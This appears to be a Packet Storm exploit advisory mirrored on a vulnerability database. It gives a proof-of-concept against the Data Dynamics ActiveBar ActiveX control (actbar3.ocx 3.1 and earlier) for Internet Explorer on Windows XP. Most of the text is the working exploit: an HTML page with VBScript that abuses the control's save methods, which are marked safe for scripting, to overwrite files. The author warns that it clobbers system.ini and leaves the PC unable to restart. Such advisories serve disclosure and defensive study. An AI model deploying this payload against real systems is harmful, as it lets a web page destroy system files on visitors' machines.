Lucene search
K

ddaa-insecure.txt

🗓️ 18 Jul 2007 00:00:00Reported by shinnaiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Data Dynamics ActiveBar ActiveX Control (actbar3.ocx <= 3.1) Multiple Inscure Methods - Exploit for Windows XP Professional SP

Code
`<pre>  
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------  
<b>Data Dynamics ActiveBar ActiveX Control (actbar3.ocx <= 3.1) Multiple Inscure Methods</b>  
url: http://www.datadynamics.com/default.aspx  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not be responsible for any damage.  
  
<b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF  
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
all software that use this ocx are vulnerable to this exploits.  
  
<b>This control is marked as:  
RegKey Safe for Script: True  
RegKey Safe for Init: True  
Implements IObjectSafety: False  
KillBitSet: False</b>  
---------------------------------------------------------------------------------------  
  
<object classid='clsid:5407153D-022F-4CD2-8BFF-465569BC5DB8' id='test'></object>  
  
<select style="width: 404px" name="Pucca">  
<option value = "Save">Save</option>  
<option value = "SaveLayoutChanges">SaveLayoutChanges</option>  
<option value = "SaveMenuUsageData">SaveMenuUsageData</option>  
</select>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
on error resume next  
Dim MyMsg  
if Pucca.value = "Save" then  
test.Save "", "c:\carlo1.txt", 1  
MyMsg = MsgBox("Ok, now check your system.ini file")  
elseif Pucca.value = "SaveLayoutChanges" then  
test.SaveLayoutChanges "c:\carlo2.txt", 1  
MyMsg = MsgBox("Ok, now check your system.ini file")  
elseif Pucca.value = "SaveMenuUsageData" then  
test.SaveMenuUsageData "c:\carlo3.txt", 1  
MyMsg = MsgBox("Ok, now check your system.ini file")  
end if  
  
End Sub  
</script>  
  
</span></span>  
</code></pre>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation